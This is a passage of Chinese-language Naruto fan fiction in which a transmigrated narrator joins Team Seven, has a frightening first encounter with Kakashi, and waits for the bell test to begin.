“干嘛扶他……” “好了好了,没事。” 我忍着痛拍拍他安抚。惠比寿已经心疼地冲过来检查木叶丸,同时用刀子般的眼神剜着我和鸣人,仿佛在说:要是木叶丸少爷有事,你们俩就完了! “鸣人,你们先回去吧。” 三代火影适时发话,语气不容置疑。 “可是……” 惠比寿还想说什么,但在火影威严的目光下,只能把话咽了回去。鸣人搀扶着我,几乎是拖着我离开了这个是非之地,嘴里还在嘟囔 “那家伙是不是脑子有点问题?” 我觉得好笑,今天过后,木叶丸可就要成为鸣人的头号小弟了呢。 …… 回到公寓,鸣人小心翼翼地将我安置在床边。大腿外侧的伤口在刚才用力时又被扯动,此刻正不依不饶地传来阵阵钝痛,像有根无形的细线在皮肉里反复牵扯。 “你好好躺着别乱动!” 鸣人皱着眉,语气是少有的强硬,但眼神里盛满了担忧 “我去给你买药!马上回来!” 他不容分说地把水杯塞进我手里,转身像阵风似的冲出了门。 公寓里重归寂静,只剩下窗外灼热的阳光,以及左臂和大腿固执的疼痛。我闭上眼,脑海里回放着木叶丸摔倒时伤口撕裂的瞬间,还有惠比寿那充满戒备与不屑的眼神。 不知过了多久,窗外暮色四合,楼下才传来熟悉又略显疲惫的脚步声,还夹杂着一丝不易察觉的兴奋。钥匙转动,鸣人推门进来,额发被汗水打湿几缕,手里拎着药袋,脸上却不见买药的烦闷,反而有种混合着得意与心虚的奇异光彩。 “呼——总算买到了!那家店关得贼晚……” 他嘟囔着把药袋放在床头柜,目光扫过我苍白的脸和盖着薄毯的腿,立刻紧张起来 “怎么样?是不是又痛了?都怪那个臭屁小鬼!” 他一边麻利地拿出药膏和干净绷带,一边忍不住开始吐槽 “我跟你说啊!那个叫木叶丸的小鬼,真是……让人火大又有点好笑!” 鸣人坐到床边,小心翼翼地掀开我腿上的薄毯,露出包扎处。拧开药膏盖,一股清凉的草药味弥漫开来。他的动作比白天搀扶时稳当了些,但仍带着少年特有的毛躁。沾着药膏的手指带着凉意,轻轻涂抹在伤口边缘。 “我本来想直奔药店的,” 鸣人手上动作不停,嘴像倒豆子一样噼里啪啦 “结果刚出门没走多远,那小鬼!木叶丸!居然偷偷摸摸跟在我屁股后面!” “哦?” 我配合地问,药膏的清凉确实缓解了灼痛 “他想干嘛?报仇?” “哼!可不是嘛!” 鸣人哼了一声,手上动作因激动重了一点,我忍不住“嘶”了一声。他立刻缩手,紧张地看我一眼,见我摆手示意没事,才放轻动作继续,语速更快了 “本来懒得理他,他躲藏技术烂得要命,跟我比差远了!” “然后呢?发生什么了?” 我忍着痛,尽量让语气轻松。 “唔,然后嘛,被我当场揪出来之后,他居然……莫名其妙地想让我当他大哥!” 鸣人眼里闪过一丝心虚,手上的动作停顿了一下,像是在组织语言,表情却带着点小惊喜 “说什么要我教他能打败火影爷爷的『色诱之术』!” “那你教他了?” 我明知故问。 “嘛……可是他一直叫我老大……” 鸣人眼神飘忽,声音也低了下去。 我忍不住捂嘴偷笑。果然是小孩子心性。鸣人见我笑他,像被踩了尾巴的猫 “喂喂!不许笑!” “不笑不笑,” 我努力憋住 “然后呢?” 鸣人拿起绷带,开始一圈圈仔细地帮我缠上。新换的药带来舒适的清凉感,让我心情舒畅了些,也更好奇后面的发展(尽管我知道大概,但细节确实有些模糊了)。 “就是教他『色诱之术』了呗。你是没看见!他第一次变出来那样子,简直……就是一坨垃圾!” 讲到这,鸣人骄傲地扬起头,仿佛完成了一项丰功伟业 “不过嘛,有我这个‘名师’指点,最后还是教会了!” “但是”鸣人的语气陡然转冷,眉头紧锁,模仿着惠比寿那种居高临下、充满偏见的腔调 “那个戴黑眼镜的老师,惠比寿,不知道从哪个旮旯冒出来了,叽里呱啦讲了一堆大道理,反正我一句没听懂!但他的眼神,我特别、特别讨厌!” 我能感受到他涂抹药膏的手指因为愤怒而微微发抖。他深吸一口气,似乎在努力压制怒火 “我当时火气‘噌’就上来了!火影的位置是靠实力和信念拼出来的!不是靠什么狗屁血缘就能继承的!惠比寿那混蛋,根本什么都不懂!” “所以你就……” 我大概猜到了后续。 鸣人的愤怒瞬间被恶作剧成功的狡黠取代,嘴角咧开一个坏笑:“嘿嘿!没错!我对着那个鼻孔朝天的家伙,还有那个小鬼,展示了我的最新成果——『分身术』和『色诱之术』的完美结合——『后宫之术』!” 即使早有心理准备,想到那画面,我还是忍不住想捂脸。鸣人却完全沉浸在“辉煌战绩”里 “‘嘭’!美女姐姐们一出现!惠比寿那家伙,‘噗’地一声鼻血就喷出来了!眼镜都歪了!整个人像根木头似的,‘咚’就直挺挺栽地上,晕过去了!哈哈哈哈!” 鸣人笑得前仰后合,仿佛又看到了那滑稽的一幕 “那个木叶丸小鬼,眼珠子都快掉出来了!完全傻在那儿了!” 笑够了,鸣人也帮我缠好了绷带,虽然歪歪扭扭,但看得出很认真。 “然后呢?” 我追问,知道关键来了。 “他?他哪还敢嚣张啊!” 鸣人撇撇嘴,语气里的厌恶早已消失,只剩下好笑 “他看着地上口吐白沫(夸张了)的惠比寿,又看看我,整个人都懵了。然后……” 鸣人的声音突然压低,带着点神秘和抑制不住的兴奋 “他‘噔噔噔’跑过来,一把抱住了我的腿!” “抱腿?”我故作惊讶。 “对啊!” 鸣人用力点头,脸上是毫不掩饰的得意,甚至泛起一丝不好意思的红晕 “他死死抱着我的腿,仰着小脸,眼睛亮得像星星,冲我大声喊 ‘大哥!你好厉害!请收我当徒弟吧!教教我刚才那个超级厉害的忍术!’” 鸣人学着木叶丸崇拜急切的语气,自己也忍不住嘿嘿直乐 “他叫我‘大哥’诶!还要拜我为师!哈哈!虽然那个『后宫之术』嘛……嗯,确实不太正经……” 他挠了挠头,有点讪讪的,但眼里的光彩却更亮了 “不过嘛,被人叫大哥的感觉……还真挺不赖的!” 绷带终于缠好了,模样惨不忍睹,但好歹固定住了药膏。鸣人长舒一口气,看着自己的“杰作”,又看看我,之前的愤怒不快早已烟消云散,只剩下收了小弟的兴奋和对这意外关系的莫名新奇感。 “喏,搞定!” 他拍拍手,像是完成了一件丰功伟业 “你就乖乖躺着养伤吧!我现在可是有徒弟要罩的人了!等你好利索了,再正式介绍木叶丸给你认识!” 看着鸣人那副神气活现、俨然一副“大哥”派头的模样,和他额头上在灯光下微微反光的崭新护额,我无奈又好笑地摇摇头。这个夜晚,对鸣人而言,收获的远不止一份下忍资格,还有一个意外得来的、身份特殊的“小弟”。木叶的未来火影和他未来的“头号小弟”,故事就此萌芽……虽然我记得剧情里木叶丸好像说的是“敌人”而不是抱大腿,看来鸣人这小子多少有点添油加醋了呢…… 我转过头,目光落在对面的日历上。明天,就是正式成为忍者的日子了。也不知道……会不会和鸣人分到一个班里?这样的“意外”,会不会拆散了原本的三人组…… 见我忧心忡忡,鸣人也顺着我的目光看向日历。他以为我在担心明天的说明会,立刻咧开他那标志性的笑容安慰道 “安啦安啦!不用担心那些!” “倒也不是担心……” 我轻叹一声 “只是在想,要是不能跟你在一起的话……” “诶?” 鸣人发出疑惑的声音。他似乎从未想过这个问题,被我这么一问,整个人愣住了。他摸着下巴,陷入沉思,嘴里嘟嘟囔囔 “不在一个班吗……唔……那也没关系!我照样会保护你的!我可是要当火影的男人!当然啦……” 他眼睛一亮,脸上又洋溢起幸福的笑容 “要是能和你,还有小樱分到一起,那就最——棒了!” 说到小樱,那笑容简直能融化冰川。我无奈扶额,只能报以微笑。可惜啊,鸣人,你的“幸福小队”里,注定还有个甩不掉的“死对头”——佐助。 …… 清晨。 刺眼的阳光毫不留情地泼洒在我和鸣人的脸上。我睁开眼,适应了一会儿光线,目光落在地上打地铺睡得正香的鸣人(自从我住进来,他就一直打地铺,这让我有点过意不去)。我像一杯浓烈得未醒透的红酒,发了一会儿呆,才蹑手蹑脚地起身,尽量不惊动他,慢慢挪向厨房。之前伊鲁卡老师来探望时,给我们带了些三明治之类的食物(老师恢复得不错,看起来已无大碍,只是偶尔还会疼一下),还好我跟他提过自己会做点简单的饭。 天天泡面,营养实在堪忧。 等鸣人睡眼惺忪地爬起来,早饭早已备好。即使是简单的三明治加煎蛋,也足以让鸣人胃口大开,风卷残云。等他吃饱喝足,才后知后觉地想起我的腿伤未愈,又开始埋怨我不该下厨。 “吃饭都堵不上你的嘴,鸣人。” 我揶揄道。 “我这是关心你!” 他理直气壮。 说罢,他又抓起桌上那瓶快过期的牛奶,“咕咚咕咚”灌了下去。我劝过他好几次扔掉,他却像护着什么宝贝似的,死活不肯。 希望他闹肚子的时候,能坚强一点。 我们穿戴整齐,鸣人依旧是他那身标志性的亮眼橙蓝外套。我之前一直穿着他淘汰下来的旧衣服(其实就是他穿小了的),直到伊鲁卡老师送了我一套标准的忍者服。原本是露大腿的款式,在我的强烈要求下换成了裤子——至今我还是不太习惯穿裙子。 鸣人习惯性地拿起他的护目镜,对着镜子咧嘴一笑,那笑容灿烂得几乎要溢出来。我安静地站在一旁看着他。大概是瞥见我手臂上绑着的崭新护额,他才猛地想起自己已经是正式的忍者了,这才恋恋不舍地摘下护目镜,郑重其事地将象征身份的护额系在额前。 “准备好了吗,鸣人?” “当然!”他回答得斩钉截铁。 “走吧。” …… 前往学校的路上,我们意外地“遭遇”了木叶丸。小家伙照例从角落猛冲出来,却依旧摔了个结结实实。他拍着身上的灰站起来,目光在我和鸣人之间逡巡,犹豫了一下,冲我喊了声“大姐”,接着便缠上鸣人要求决斗。鸣人难得地严肃拒绝了。 “抱歉啊,我们得去参加说明会了。” “说明会?”木叶丸一脸茫然。 “因为从今天起,我可是忍者了!” 鸣人挺起胸膛,手指用力点着自己额头的护额,那神情是纯粹的炫耀,更是被认可的、发自肺腑的喜悦 “好了,真得走了,拜拜!” 说完,他拉着我快步走向学校,只留下木叶丸独自在原地挠头。 …… 忍者学校的教室,熟悉又陌生。空气中弥漫着毕业后的兴奋躁动、对新队友的期待或不满,以及对未来的那一丝茫然无措。 鸣人无疑成了焦点中的焦点。毕竟毕业考试未能通过的他出现在这里,难免引来疑惑的目光。 “喂,你怎么会在这儿?这可是专门给毕业生开的说明会!” 一个声音带着明显的质疑响起。 正和我说话的鸣人立刻被吸引了注意力。他猛地抬起头,手指几乎要戳到自己的护额上,像只斗胜的公鸡般展示着 “我说你,没看见这个吗?从今天开始,我漩涡鸣人也是忍者了!” “到了!” 两个清脆的女声同时响起。我循声望去,只见小樱和井野气喘吁吁地并肩站在门口,正为谁先踏进教室而争执着。鸣人也被这动静吸引,看到小樱的瞬间,脸颊便浮起一层微红。他兴奋地挥手 “早……” “安”字还没出口,就被小樱一把推开。我早有预料,敏捷地侧身让开了位置,顺手把摔得四仰八叉、狼狈得像啃了满嘴泥的鸣人拉起来。看着他这副模样,我实在忍不住噗嗤笑出了声。 紧接着,小樱和井野为了谁能坐在佐助旁边展开了激烈的“无声交锋”,空气中仿佛有看不见的电火花噼啪作响。而这场风暴的中心——宇智波佐助,只是安静地坐在靠窗的位置,双臂环抱,闭目养神。周遭的喧嚣似乎与他隔绝,阳光勾勒出他冷峻的侧脸轮廓,散发着生人勿近的气息。 坐在地上的鸣人一脸不服气,猛地跳上课桌,居高临下地瞪着佐助。我则默默找了个相对安静的角落坐下。左臂的夹板引来了几道好奇或探究的目光(这也是我坚持要裤子的原因之一)。我尽量忽略它们,视线扫过教室:鹿丸趴在桌上唉声叹气“麻烦死了”,丁次咔嚓咔嚓嚼着薯片,牙正和赤丸嬉闹,志乃安静得像一尊隐形的雕像,雏田则红着脸,眼神悄悄飘向鸣人所在的方向。 当整个教室突然陷入一种诡异的、落针可闻的寂静时,我就知道——名场面来了。 果然。 等鸣人拖着一张被小樱揍得鼻青脸肿的脸挪到我旁边坐下时,还在为刚才与佐助的“亲密接触”恶心不已,表情扭曲得龇牙咧嘴。我憋着笑,小声问他 “Kiss感觉怎么样?” 他脸色发青,咬牙切齿 “别提了!只求千万别和那个臭屁佐助一组!回去非得刷十遍牙不可!” 我默默咽下了到嘴边的话。因为……真的会和佐助一组啊。 当伊鲁卡老师宣布“从今天起,你们就是能独当一面的忍者了”时,教室里爆发出一阵欢呼。我悄悄握紧了拳头,内心翻涌着焦虑和期待。 塔罗牌啊,教皇先生,求求你……完成我的心愿。 “不过,” 伊鲁卡老师话锋一转 “你们都还只是新手下忍。真正的考验在后面。你们将三人一组,在一位上忍老师的指导下执行任务。” 听到这里,鸣人托着腮凑近我嘀咕 “千万得是你和小樱啊!我死也不要和佐助一组!” “为了平衡各组的实力,将由老师进行分组。” “接下来,第七组……漩涡鸣人!春野樱!……” 听到小樱的名字,鸣人高兴得几乎蹦到天花板上。小樱却失落地低下头,仿佛一眼望见了灰暗的未来。 “……宇智波佐助!” 下一刻,鸣人脸上那灿烂的笑容瞬间冻结,变成了同样灰暗、一眼望不到头的绝望。我忍着笑,拍拍他的肩 “没关系啦,哈哈哈哈……” “不是你反而是佐助……今天真是糟糕透了!” 鸣人哀嚎。 “以及……旁听生同学……” 教室里瞬间安静了一瞬。刚才伊鲁卡老师明明说的是“三人一组”,怎么第七班突然变成了四个? “诶——?!!” 鸣人第一个跳了起来,手指直直地指向我,脸上写满了巨大的问号和难以置信。 佐助也倏地睁开了眼睛。那双漆黑深邃的眸子冷冷地扫过我,带着毫不掩饰的审视和一丝……漠然的不耐。他薄唇轻启,声音不高,却清晰地穿透了寂静 “哼,拖后腿的增加了。” 冰冷的评价像淬了毒的细针,精准地扎了过来。 小樱的表情则复杂得多。能和佐助分在一组的狂喜还来不及褪去,看到我——尤其是看到佐助那冰冷的眼神落在我身上时——她眼中飞快地掠过一丝微妙的……敌意? 对佐助的冷语和小樱的敌意,我并未感到意外。这里是第七班,漩涡鸣人和宇智波佐助宿命开始的地方,而我……竟然真的成为了其中的一部分。 “我知道有同学不理解为什么,” 伊鲁卡老师适时地开口,打破了僵局 “我刚才确实说了是三人一组。但旁听生同学是后期加入的,在人数上无法完全平均分配。这是由我们几位老师以及三代火影大人共同商议后的决定……” 居然搬出了火影大人……这样一来,就算有人不服,也只能咽回去,或者直接去找火影理论了,只是……这样真的好吗? 很快,其他班级也分完了组:鹿丸、丁次、井野(第十班);志乃、牙、雏田(第八班);等等。 下午才能见到自己的上忍指导老师。鸣人因为能和小樱同班,兴奋得不得了,拉着我就嚷嚷要去找小樱一起吃饭。我无奈地挣开他的手,带着歉意说还有事要办。鸣人撇撇嘴,嘟囔着“好吧”,又嘱咐我一定要快点,不然好吃的就被抢光了,然后一阵风似的跑走了。 我看着鸣人消失在走廊尽头的背影,决定还是先去教室等他。不知为何,想到一会儿可能会在教室里见到卡卡西老师,心里竟掠过一丝……奇异的悸动? 捏紧了手里那张写着四个下忍名字的分班名单(第七班:漩涡鸣人、春野樱、宇智波佐助,以及我),依旧为自己真的加入了第七班感到一种不真切的恍惚感。毕竟,这真的很……神奇。 刚走到楼梯口,光线略暗。一个身影恰好从下方不疾不徐地走上来,步履带着一种刻意的悠闲。银色的头发有些凌乱,遮住了部分额头和左眼(护额好好地戴着),标志性的面罩掩住了大半张脸。最引人注目的是他手里那本橙色封面的书——《亲热天堂》,看得似乎相当“投入”,完全没看路的样子。 我依靠余光瞥见有人,下意识想侧身避让。但就在我挪动的同时,对方似乎也被书中“精彩内容”吸引,“恰好”朝我这边偏了一下。 “砰!” 肩膀结结实实地撞在一起!力道远超我的预料。我被撞得一个趔趄,后背重重地磕在冰冷的墙壁上,闷哼一声,手里的忍具包差点脱手。夹板固定的左臂在剧烈的撞击下传来一阵钻心的疼痛。 “唔……” 对方似乎也猝不及防,发出一声低沉的闷哼。那本橙色的书脱手飞出,“啪”地一声摔在几步外的台阶上,书页凌乱地散开。 我揉着生疼的肩膀和后腰,惊魂未定地看向眼前这个反应剧烈到诡异的银发忍者。面罩、遮眼护额、银发、那本掉在地上的《亲热天堂》……所有标志性的特征瞬间与脑海中那个名字重叠! 旗木卡卡西! 木叶技师!拷贝忍者!未来的六代目火影!那个传说中总迟到、爱看小黄书、却背负着沉重过去的男人!天啊,怎么会在这里撞上他? 他刚才看我的那一瞬间的眼神……太恐怖了!简直像看到了从坟墓里爬出来的恶鬼!充满了无法理解的巨大痛苦和难以置信的震惊。但此刻,更让我心胆俱裂的是——这!是!我!未!来!的!指!导!上!忍! “卡…卡卡西老师?!” 震惊、确认、以及一丝“果然是你这个不靠谱家伙”的穿越者吐槽心态混杂在一起,让我几乎是不假思索地脱口而出!我本意是想说“啊!您就是第七班的指导上忍旗木卡卡西前辈吗?”但过于强烈的“认知”和刚才的惊吓,让出口的话变成了这个更直接、更“熟稔”的称呼。 他缓缓直起身,动作带着一种令人窒息的、刻意的缓慢。手中那本《亲热天堂》被捏得咯吱作响,指关节因用力而泛白。露出的那只右眼,不再是震惊和痛苦,而是淬了寒冰般的锐利,像手术刀一样切割着我的灵魂。他的声音低沉得可怕,剥离了所有伪装,每一个字都裹着冰冷的霜雪: “你……” 他微微眯起眼,那目光仿佛能穿透我的皮肉,直视灵魂深处的秘密 “……为什么会知道我的名字?还有,‘老师’?” 最后两个字,他咬得格外清晰,带着不容置疑的、冰冷的质问。 被他此刻散发出的、近乎实质的杀气攫住,我感觉心脏都停跳了!大脑一片空白!完了!踩到核弹了!他看起来下一秒就要用雷切捅穿我! “啊!对、对不起!” 我几乎是尖叫着摆手,声音因恐惧而剧烈颤抖,手指慌乱地指向楼上教室的方向 “我……我……我……我有听闻您的大名……有……有了解过您……!对!然后……然后,一直在默默观察……没想到遇见本人了哈哈!” 我语无伦次,努力编织着拙劣的谎言,脸上挤出尽可能无辜和惶恐的表情 “……所、所以……看到您的样子……特、特别是那本书……就……就猜到了……” 我低下头,不敢再看那双仿佛能冻结灵魂的眼睛,身体控制不住地微微发抖,像个被猛兽盯上的、做错事的孩子。 “哦?” 一个毫无温度的单音从他喉间滚出。他重新将《亲热天堂》举到眼前,厚厚的书页遮住了大半张脸,只留下那只深不可测的右眼,目光如同冰冷的探针,依旧牢牢锁在我身上。 “原来如此……” 他的声音恢复了那种标志性的拖长调子,但我却感受不到一丝慵懒,只有冰冷的探究,以及……令人毛骨悚然的审视 “看来我的‘名声’……还真是传得挺广?” 语气充满了讽刺和毫不掩饰的怀疑。 “啊——看样子你是要去教室里吧……” 他语调一转,似乎漫不经心。 “别·迟·到·哦。” 最后三个字,他说得异常缓慢、异常清晰,每一个音节都像冰珠砸在地上,带着无形的、沉重的警告,更像是一种冰冷的宣告——某种长期的、严密的监视,开始了。 他没有再多说一个字,也没有再看我。他侧过身,步伐沉稳而无声,带着一种刻意压抑的力量感,从我身旁走下楼梯。银发上忍马甲的衣角在楼梯拐角处一闪而逝,如同鬼魅般消失。 只留下我一个人,背靠着冰冷坚硬的墙壁,心脏在胸腔里疯狂擂动,几乎要撞碎肋骨。冷汗早已浸湿了后背的衣衫。 “他刚才……是想杀了我吧……”那股冰冷的杀意让我后怕不已,腿肚子都在发软。 “完了……说错话了……他是不是发现了什么?为什么要嘴快喊他‘老师’?现在我应该是完全不认识他的啊!” 巨大的恐惧和困惑紧紧扼住了我的喉咙。这个卡卡西,远比“故事”里看到的更危险、更深沉、更难以捉摸。 “指导上忍第一天就想干掉我……这忍者生涯还没开始就要结束了吗……” 我哭丧着脸,扶着墙勉强站稳,颤抖着,一步一挪地向上走去。冰冷的楼梯间,只余下我惊魂未定的喘息声,和无声弥漫的、令人窒息的危机感。通往教室的路,从未显得如此漫长而凶险。 在你看不到的地方,卡卡西合上了《亲热天堂》小声的嘟囔 “真是,漏洞百出” …… 时间在焦灼的等待中一分一秒流逝,窗外的太阳渐渐西沉。鸣人从一开始的跳脚抗议变成了焦躁的踱步。佐助重新闭上了眼睛,但眉宇间的不耐烦几乎要凝成实质。小樱则开始担忧地频频望向门口。 “搞什么啊!我们的指导上忍到底是谁啊!迟到也太久了吧!太慢了吧!” 鸣人终于按捺不住,咆哮起来。“为什么只有我们第七班的老师还没来?其他班的人早就跟着老师一起出去了,连伊鲁卡老师都走了!” 我缩在角落里,依然惊魂未定。鸣人刚来时看我脸色惨白,就关切地问过怎么了。但我实在难以启齿,只能敷衍地打哈哈说被一只路过的野猫吓到了,还没缓过劲。 现在,我只祈祷卡卡西老师能再晚一点,再晚一点出现。 “喂,鸣人,你在做什么!”小樱的声音带着惊诧。 我抬眼望去,只见鸣人正踮着脚,把一个脏兮兮的黑板擦小心翼翼地架在门框上端,只要一拉开门,它就会精准落下。 “谁让他迟到的!”鸣人叉着腰,一脸得意,仿佛想出了什么绝世妙计。 佐助双臂交叉,用看白痴的眼神睨着他:“上忍怎么可能会中这种把戏。” “说的也是,鸣人你这个笨……” 小樱的“蛋”字还没出口,门就被一只带着黑色手套的手懒洋洋地拉开了。 “啪嗒!” 黑板擦不偏不倚,结结实实地砸中了门口那人的头顶。他像是刚睡醒,黑色的面罩遮住了大半张脸,只露出一只半耷拉着、毫无干劲的右眼。那姿态,仿佛教室里这三双(很快变成四双)焦灼等待的眼睛都是空气。 鸣人看见计谋得逞,拍着大腿狂笑:“上当了!上当了!”小樱生怕被牵连,连忙摆手撇清:“我都劝过他了!”佐助低下头,眉头微蹙,似乎也在困惑这种伎俩怎么会成功。 只有我,心脏再次狂跳起来——楼梯口那令人胆寒的一幕,难道是我的幻觉? 卡卡西老师慢悠悠地捡起地上的黑板擦,摸了摸自己的下巴,像是在认真思考一个哲学问题。 “唔…该怎么说呢……”他拖长了调子,“我对你们的第一印象,蛮~差的。” 他的目光懒洋洋地扫过教室里的每个人,最后,停留在我身上。那双标志性的死鱼眼明明看起来毫无情绪波澜,为什么……我却感觉后背一阵阵发凉? “哟,”他抬起手,闭着眼,用一种仿佛在街头偶遇老朋友的熟稔语气打招呼,“又见面了,楼梯口的小姑娘!” 心脏突突地撞着胸腔。我艰难地扯动嘴角,挤出一个比哭还难看的笑容,试图用打哈哈掩饰内心的惊涛骇浪: “又……又见面了,真没想到我的指导老师是你啊……哈哈……” “嗯…第七班。”他没有再理会我,只是把那个“凶器”黑板擦随手放回讲台,示意我们跟他出去。鸣人小声嘀咕着“明明迟到了还一副理所当然的样子……”。我艰难地站起身,脚步虚浮地跟着往外挪。鸣人看我状态不对,跑过来扶住我,一边还不忘嘲笑:“你这胆子也太小了吧?被只野猫吓成这样?” “啊哈哈……”我只能干笑。 在路过卡卡西老师身边时,那股熟悉的、令人极度不适的视线感再次缠绕上来,冰冷而充满审视。但我连回头的勇气都没有。强烈的恐慌几乎让我迈不开步子。 仅仅是因为下意识叫了他一声“卡卡西老师”……后果就如此恐怖吗? 天台的风带着初晨的微凉,旗木卡卡西斜倚在栏杆上,姿态慵懒得仿佛随时会融化在阳光里。他抱着双臂,那只露出的死鱼眼又一次扫过我们。我紧挨着鸣人坐下,正对着卡卡西老师,喉咙发紧,艰难地咽下口水,指尖死死揪住衣角,仿佛那是唯一的救命稻草。冰冷的恐慌早已浸透四肢百骸,双腿依旧软绵绵地使不上力。 “对了……” 卡卡西老师的声音打破了凝固的空气,带着点漫不经心的味道。 “先做一下自我介绍吧。” 小樱率先打破了沉默 “自我介绍?都要说些什么呢?” “这个嘛……” 卡卡西歪了歪头 “喜欢的东西,讨厌的东西,兴趣爱好,将来的梦想,差不多就这些了。” “那老师先做一下示范吧!” 小樱追问。 我的指尖几乎要将衣角揉碎,耳畔的嗡鸣声再次如潮水般涌来。真可悲啊……又是这样,一遇事身体就不听使唤。呼吸……好困难。我深深埋下头,徒劳地试图将自己缩进阴影里,可身体每一寸的紧绷和颤抖都在无声尖叫:你做不到!不行!再一次,仿佛被冰冷的水淹没…… 空气……给我空气…… 为什么……总是这样…… “喂,喂,别发呆啊,楼梯口的小姑娘,该你自我介绍了。” 猝不及防地被点名,我猛地抬起头,眼眶里早已蓄满的泪水,随着这动作,终于不堪重负地滑落。鸣人看着我脸上的泪痕,立刻炸毛了。 “你怎么了?谁欺负你了?喂喂,说话啊?你别哭啊!告诉我,我替你揍扁他!” 我狠狠用袖子抹过脸颊,粗糙的布料瞬间洇湿一片。身体止不住地颤抖,我努力抬起眼,对上了卡卡西的目光。这一次,在那双惯常懒散的死鱼眼里,我捕捉到了一丝异样——是探究,还有……一丝难以言喻的心疼? “叫我旁听生……就行……” 声音细弱得如同蚊蚋 “我挺喜欢大家这样叫我吧。喜欢的东西……朋友。讨厌的东西……” 我顿住了。其实,我挺讨厌眼前这个卡卡西老师的。可这句话像块巨石堵在喉咙里,终究没能出口。 “……不喜欢独自一个人……兴趣爱好,玩。将来的梦想……” 我深吸一口气,目光下意识地飘向身旁那个金发的笨蛋 “……想看着一个笨蛋当上火影。” …… 死寂。 在我话音落下的瞬间,空气仿佛被冻结了。尤其是那句“看着一个笨蛋当上火影”,让整个天台陷入了奇异的沉默。 卡卡西那双波澜不惊的死鱼眼,似乎极其轻微地颤动了一下,掠过一丝几不可察的“裂痕”,旋即又恢复了原状。 “我肯定会当上火影的啦!你放一百个心好了!哈哈哈哈!” 打破这沉重气氛的永远是鸣人。他大笑着,蒲扇般的手掌用力拍着我的后背,震得我连连咳嗽,眼泪再次决堤。 “痛死了!笨蛋鸣人!” 我烦躁地推开他。 “诶诶你别哭啊!我不是故意的!” 鸣人手忙脚乱。 “嘛,” 卡卡西适时地出声,仿佛刚才那段插曲从未发生。他悠然闭上眼,抬起一根手指随意地指向天空 “你们四个,都挺有个性的嘛。从明天开始执行任务,先从我们五个人能做的开始做起。” 鸣人的注意力立刻被转移,紧紧追问是什么任务,小樱也好奇地凑近。 “求生演习。” 卡卡西的声音依旧懒洋洋的。 “求生演习?任务为什么会是演习?我们已经在学校里演习过无数次了!” 小樱疑惑地皱起眉。 “那可不是普通的演习。” 卡卡西合上了不知何时又掏出来的《亲热天堂》。 “那……那是什么样的?” 鸣人按捺不住好奇心。 卡卡西没有立刻回答,只是低低地笑了起来。小樱忍不住吐槽 “老师你在笑什么啊?” 卡卡西摆摆手,止住笑意,这才慢悠悠地开口 “因为我说出来,你们肯定会想退出的。” 他目光扫过我们四人 “在28名毕业生里,只有9个人能被承认为下忍。其他的19个,都将被打回学校重读。换句话说……” 他晃了晃手中的铃铛,金属碰撞发出清脆却冰冷的声响 “这场演习的淘汰率,超过百分之六十七。” 我的心猛地一沉。鸣人更是难以置信地瞪大了眼睛,下意识地紧紧攥住了我的手,那力度传递着他此刻的震惊和不服——拼尽全力才毕业,竟然可能因为一次测试就前功尽弃?难以接受! 卡卡西交代完注意事项,再次强调“不许吃早饭”,然后转过身随意地挥了挥手 “那么,明天见。” 伴随着“噗”的一声轻响,白烟升腾,人影已杳然无踪。 天台上只剩下我们四人。鸣人愤怒的咆哮在空旷处回荡 “这个混蛋老师——!!!” 而我,依旧低垂着头,胸腔里的闷痛和恐慌,远未平息…… …… 翌日清晨,演习场。 天光熹微,演习场笼罩在清冷的薄雾中,草叶尖上凝结的露珠反射着微光。我、鸣人都提前到达了。鸣人顶着两个硕大的黑眼圈,却精神亢奋地摩拳擦掌,嘴里反复念叨着“一定要第一个通过”。佐助小樱几乎和我们同时抵达,依旧是那副生人勿近的冷漠模样,只是眼神比昨日更加锐利如刀。小樱显得有些紧张,目光总是不自觉地飘向佐助。 我们互相低声道了早安,便各自检查忍具包:苦无、手里剑、几卷备用的绷带、兵粮丸……还有我随身携带的那副塔罗牌。左臂的夹板固定着,大腿外侧的伤处被厚厚的绷带紧紧缠绕加固,勉强将疼痛压制在可忍受的范围内,但动作的迟缓和平衡感的缺失无法掩饰。我深吸了一口带着泥土和青草腥味的冷冽空气,努力压下心中翻涌的忐忑与恐慌。 只要提前商量好合作策略,就有希望通过! 时间一分一秒流逝。鸣人靠在我的肩膀上再次沉沉睡去,小樱也累得坐在地上,只有佐助像一尊雕塑般立在原地。当毒辣的太阳升到头顶,将我们的影子缩成脚下小小一团时,卡卡西才姗姗来迟。 “各位早啊——” 他毫无诚意地拖长了调子。 “太慢了——!!!” 鸣人和小樱的怒吼立刻爆发。 “那是因为一只黑猫横在我眼前……” 卡卡西似乎想解释,但看着我们脸上全然的“信你才怪”,他只是干咳了一声 “就这样。” 他走到场地中央的木桩前,慢条斯理地从口袋里掏出一个闹钟,又摸出三个系着红绳的铃铛。铃铛在他手中轻轻晃动,发出清脆却带着不祥意味的叮当声。 “今天的测试很简单。” 他懒洋洋地宣布,声音不大却清晰地传入每个人耳中 “在中午12点之前,从我手中抢到这三个铃铛。抢到的人算合格,可以吃午饭。没抢到的人……” 他故意拉长了尾音,目光扫过我们 “不仅没饭吃,还要被绑在那边的木桩上,看着我吃。” “原来叫我们不吃早饭是这个原因……” 小樱捂着咕咕叫的肚子,饥饿感在我们之间无声传递。 “可是我们有四个人,为什么只有三个铃铛?” 小樱敏锐地发现了关键。 “因为只有三个。” 卡卡西眯起眼,嘴角勾起一个看似无害实则冷酷的弧度 “所以,注定会有一个人被淘汰——绑在圆柱上,被视为任务失败,不合格。不合格的人,要重回忍者学校。” 他手中的铃铛声仿佛敲响了倒计时的丧钟。 气氛瞬间降至冰点。 卡卡西的语气陡然变得冰冷刺骨,那只露出的死鱼眼中射出如实质刀锋般的锐利光芒 “使用手里剑也没有关系。不抱着杀死我的决心……” 他刻意停顿,目光在我们身上逡巡,尤其在鸣人和我身上停留了一瞬 “……是抢不到铃铛的。” “但这太危险了!”小樱试图辩解。 “就……就是说啊,老师你连板擦都躲不掉……”鸣人小声嘀咕,试图找回一点信心。 “人就是这样,越没实力越爱说大话……” 卡卡西毫不留情地打断,目光掠过鸣人 “好了,不要管那个吊车尾了。等我说‘开始’就开始。” 吊车尾……? 这个词像一根冰冷的针,瞬间刺穿我的耳膜,狠狠扎进大脑深处!一阵剧烈的眩晕袭来,无数破碎、混乱、带着强烈痛苦和斥责意味的记忆碎片轰然炸开——一个模糊却异常清晰的身影,酷似佐助,冰冷的声音带着无奈:“吊车尾……大笨蛋……” “大笨蛋……” 